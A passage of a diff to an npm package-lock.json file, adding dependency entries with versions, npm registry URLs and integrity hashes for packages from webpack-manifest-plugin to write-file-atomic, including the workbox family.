"node_modules/webpack-manifest-plugin": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz", + "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==", + "dependencies": { + "tapable": "^2.0.0", + "webpack-sources": "^2.2.0" + }, + "engines": { + "node": ">=12.22.0" + }, + "peerDependencies": { + "webpack": "^4.44.2 || ^5.47.0" + } + }, + "node_modules/webpack-manifest-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/webpack-manifest-plugin/node_modules/webpack-sources": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.3.1.tgz", + "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==", + "dependencies": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/webpack/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/websocket-driver": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz", + "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==", + "dependencies": { + "http-parser-js": ">=0.5.1", + "safe-buffer": ">=5.1.0", + "websocket-extensions": ">=0.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/websocket-extensions": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz", + "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/whatwg-encoding": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz", + "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==", + "dependencies": { + "iconv-lite": "0.4.24" + } + }, + "node_modules/whatwg-encoding/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/whatwg-fetch": { + "version": "3.6.20", + "resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.6.20.tgz", + "integrity": "sha512-EqhiFU6daOA8kpjOWTL0olhVOF3i7OrFzSYiGsEMB8GcXS+RrzauAERX65xMeNWVqxA6HXH2m69Z9LaKKdisfg==" + }, + "node_modules/whatwg-mimetype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", + "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" + }, + "node_modules/whatwg-url": { + "version": "8.7.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.7.0.tgz", + "integrity": "sha512-gAojqb/m9Q8a5IV96E3fHJM70AzCkgt4uXYX2O7EmuyOnLrViCQlsEBmF9UQIu3/aeAIp2U17rtbpZWNntQqdg==", + "dependencies": { + "lodash": "^4.7.0", + "tr46": "^2.1.0", + "webidl-conversions": "^6.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dependencies": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.1.3.tgz", + "integrity": "sha512-YmjsSMDBYsM1CaFiayOVT06+KJeXf0o5M/CAd4o1lTadFAtacTUM49zoYxr/oroopFDfhvN6iEcBxUyc3gvKmw==", + "dependencies": { + "function.prototype.name": "^1.1.5", + "has-tostringtag": "^1.0.0", + "is-async-function": "^2.0.0", + "is-date-object": "^1.0.5", + "is-finalizationregistry": "^1.0.2", + "is-generator-function": "^1.0.10", + "is-regex": "^1.1.4", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.9" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.1.tgz", + "integrity": "sha512-W8xeTUwaln8i3K/cY1nGXzdnVZlidBcagyNFtBdD5kxnb4TvGKR7FfSIS3mYpwWS1QUCutfKz8IY8RjftB0+1A==", + "dependencies": { + "is-map": "^2.0.1", + "is-set": "^2.0.1", + "is-weakmap": "^2.0.1", + "is-weakset": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.14", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.14.tgz", + "integrity": "sha512-VnXFiIW8yNn9kIHN88xvZ4yOWchftKDsRJ8fEPacX/wl1lOvBrhsJ/OeJCXq7B0AaijRuqgzSKalJoPk+D8MPg==", + "dependencies": { + "available-typed-arrays": "^1.0.6", + "call-bind": "^1.0.5", + "for-each": "^0.3.3", + "gopd": "^1.0.1", + "has-tostringtag": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/workbox-background-sync": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-6.6.0.tgz", + "integrity": "sha512-jkf4ZdgOJxC9u2vztxLuPT/UjlH7m/nWRQ/MgGL0v8BJHoZdVGJd18Kck+a0e55wGXdqyHO+4IQTk0685g4MUw==", + "dependencies": { + "idb": "^7.0.1", + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-broadcast-update": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-6.6.0.tgz", + "integrity": "sha512-nm+v6QmrIFaB/yokJmQ/93qIJ7n72NICxIwQwe5xsZiV2aI93MGGyEyzOzDPVz5THEr5rC3FJSsO3346cId64Q==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-build": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-6.6.0.tgz", + "integrity": "sha512-Tjf+gBwOTuGyZwMz2Nk/B13Fuyeo0Q84W++bebbVsfr9iLkDSo6j6PST8tET9HYA58mlRXwlMGpyWO8ETJiXdQ==", + "dependencies": { + "@apideck/better-ajv-errors": "^0.3.1", + "@babel/core": "^7.11.1", + "@babel/preset-env": "^7.11.0", + "@babel/runtime": "^7.11.2", + "@rollup/plugin-babel": "^5.2.0", + "@rollup/plugin-node-resolve": "^11.2.1", + "@rollup/plugin-replace": "^2.4.1", + "@surma/rollup-plugin-off-main-thread": "^2.2.3", + "ajv": "^8.6.0", + "common-tags": "^1.8.0", + "fast-json-stable-stringify": "^2.1.0", + "fs-extra": "^9.0.1", + "glob": "^7.1.6", + "lodash": "^4.17.20", + "pretty-bytes": "^5.3.0", + "rollup": "^2.43.1", + "rollup-plugin-terser": "^7.0.0", + "source-map": "^0.8.0-beta.0", + "stringify-object": "^3.3.0", + "strip-comments": "^2.0.1", + "tempy": "^0.6.0", + "upath": "^1.2.0", + "workbox-background-sync": "6.6.0", + "workbox-broadcast-update": "6.6.0", + "workbox-cacheable-response": "6.6.0", + "workbox-core": "6.6.0", + "workbox-expiration": "6.6.0", + "workbox-google-analytics": "6.6.0", + "workbox-navigation-preload": "6.6.0", + "workbox-precaching": "6.6.0", + "workbox-range-requests": "6.6.0", + "workbox-recipes": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0", + "workbox-streams": "6.6.0", + "workbox-sw": "6.6.0", + "workbox-window": "6.6.0" + }, + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/workbox-build/node_modules/@apideck/better-ajv-errors": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz", + "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==", + "dependencies": { + "json-schema": "^0.4.0", + "jsonpointer": "^5.0.0", + "leven": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "ajv": ">=8" + } + }, + "node_modules/workbox-build/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/workbox-build/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/workbox-build/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/workbox-build/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/workbox-build/node_modules/source-map": { + "version": "0.8.0-beta.0", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.8.0-beta.0.tgz", + "integrity": "sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA==", + "dependencies": { + "whatwg-url": "^7.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/workbox-build/node_modules/tr46": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-1.0.1.tgz", + "integrity": "sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/workbox-build/node_modules/webidl-conversions": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz", + "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg==" + }, + "node_modules/workbox-build/node_modules/whatwg-url": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-7.1.0.tgz", + "integrity": "sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg==", + "dependencies": { + "lodash.sortby": "^4.7.0", + "tr46": "^1.0.1", + "webidl-conversions": "^4.0.2" + } + }, + "node_modules/workbox-cacheable-response": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-6.6.0.tgz", + "integrity": "sha512-JfhJUSQDwsF1Xv3EV1vWzSsCOZn4mQ38bWEBR3LdvOxSPgB65gAM6cS2CX8rkkKHRgiLrN7Wxoyu+TuH67kHrw==", + "deprecated": "workbox-background-sync@6.6.0", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-core": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-6.6.0.tgz", + "integrity": "sha512-GDtFRF7Yg3DD859PMbPAYPeJyg5gJYXuBQAC+wyrWuuXgpfoOrIQIvFRZnQ7+czTIQjIr1DhLEGFzZanAT/3bQ==" + }, + "node_modules/workbox-expiration": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-6.6.0.tgz", + "integrity": "sha512-baplYXcDHbe8vAo7GYvyAmlS4f6998Jff513L4XvlzAOxcl8F620O91guoJ5EOf5qeXG4cGdNZHkkVAPouFCpw==", + "dependencies": { + "idb": "^7.0.1", + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-google-analytics": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-6.6.0.tgz", + "integrity": "sha512-p4DJa6OldXWd6M9zRl0H6vB9lkrmqYFkRQ2xEiNdBFp9U0LhsGO7hsBscVEyH9H2/3eZZt8c97NB2FD9U2NJ+Q==", + "deprecated": "It is not compatible with newer versions of GA starting with v4, as long as you are using GAv3 it should be ok, but the package is not longer being maintained", + "dependencies": { + "workbox-background-sync": "6.6.0", + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-navigation-preload": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-6.6.0.tgz", + "integrity": "sha512-utNEWG+uOfXdaZmvhshrh7KzhDu/1iMHyQOV6Aqup8Mm78D286ugu5k9MFD9SzBT5TcwgwSORVvInaXWbvKz9Q==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-precaching": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-6.6.0.tgz", + "integrity": "sha512-eYu/7MqtRZN1IDttl/UQcSZFkHP7dnvr/X3Vn6Iw6OsPMruQHiVjjomDFCNtd8k2RdjLs0xiz9nq+t3YVBcWPw==", + "dependencies": { + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-range-requests": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-6.6.0.tgz", + "integrity": "sha512-V3aICz5fLGq5DpSYEU8LxeXvsT//mRWzKrfBOIxzIdQnV/Wj7R+LyJVTczi4CQ4NwKhAaBVaSujI1cEjXW+hTw==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-recipes": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-recipes/-/workbox-recipes-6.6.0.tgz", + "integrity": "sha512-TFi3kTgYw73t5tg73yPVqQC8QQjxJSeqjXRO4ouE/CeypmP2O/xqmB/ZFBBQazLTPxILUQ0b8aeh0IuxVn9a6A==", + "dependencies": { + "workbox-cacheable-response": "6.6.0", + "workbox-core": "6.6.0", + "workbox-expiration": "6.6.0", + "workbox-precaching": "6.6.0", + "workbox-routing": "6.6.0", + "workbox-strategies": "6.6.0" + } + }, + "node_modules/workbox-routing": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-6.6.0.tgz", + "integrity": "sha512-x8gdN7VDBiLC03izAZRfU+WKUXJnbqt6PG9Uh0XuPRzJPpZGLKce/FkOX95dWHRpOHWLEq8RXzjW0O+POSkKvw==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-strategies": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-6.6.0.tgz", + "integrity": "sha512-eC07XGuINAKUWDnZeIPdRdVja4JQtTuc35TZ8SwMb1ztjp7Ddq2CJ4yqLvWzFWGlYI7CG/YGqaETntTxBGdKgQ==", + "dependencies": { + "workbox-core": "6.6.0" + } + }, + "node_modules/workbox-streams": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-6.6.0.tgz", + "integrity": "sha512-rfMJLVvwuED09CnH1RnIep7L9+mj4ufkTyDPVaXPKlhi9+0czCu+SJggWCIFbPpJaAZmp2iyVGLqS3RUmY3fxg==", + "dependencies": { + "workbox-core": "6.6.0", + "workbox-routing": "6.6.0" + } + }, + "node_modules/workbox-sw": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-6.6.0.tgz", + "integrity": "sha512-R2IkwDokbtHUE4Kus8pKO5+VkPHD2oqTgl+XJwh4zbF1HyjAbgNmK/FneZHVU7p03XUt9ICfuGDYISWG9qV/CQ==" + }, + "node_modules/workbox-webpack-plugin": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-webpack-plugin/-/workbox-webpack-plugin-6.6.0.tgz", + "integrity": "sha512-xNZIZHalboZU66Wa7x1YkjIqEy1gTR+zPM+kjrYJzqN7iurYZBctBLISyScjhkJKYuRrZUP0iqViZTh8rS0+3A==", + "dependencies": { + "fast-json-stable-stringify": "^2.1.0", + "pretty-bytes": "^5.4.1", + "upath": "^1.2.0", + "webpack-sources": "^1.4.3", + "workbox-build": "6.6.0" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "webpack": "^4.4.0 || ^5.9.0" + } + }, + "node_modules/workbox-webpack-plugin/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/workbox-webpack-plugin/node_modules/webpack-sources": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", + "dependencies": { + "source-list-map": "^2.0.0", + "source-map": "~0.6.1" + } + }, + "node_modules/workbox-window": { + "version": "6.6.0", + "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-6.6.0.tgz", + "integrity": "sha512-L4N9+vka17d16geaJXXRjENLFldvkWy7JyGxElRD0JvBxvFEd8LOhr+uXCcar/NzAmIBRv9EZ+M+Qr4mOoBITw==", + "dependencies": { + "@types/trusted-types": "^2.0.2", + "workbox-core": "6.6.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/wrap-ansi-cjs/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi-cjs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/wrap-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/wrap-ansi/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/wrap-ansi/node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/wrap-ansi/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==" + }, + "node_modules/write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": 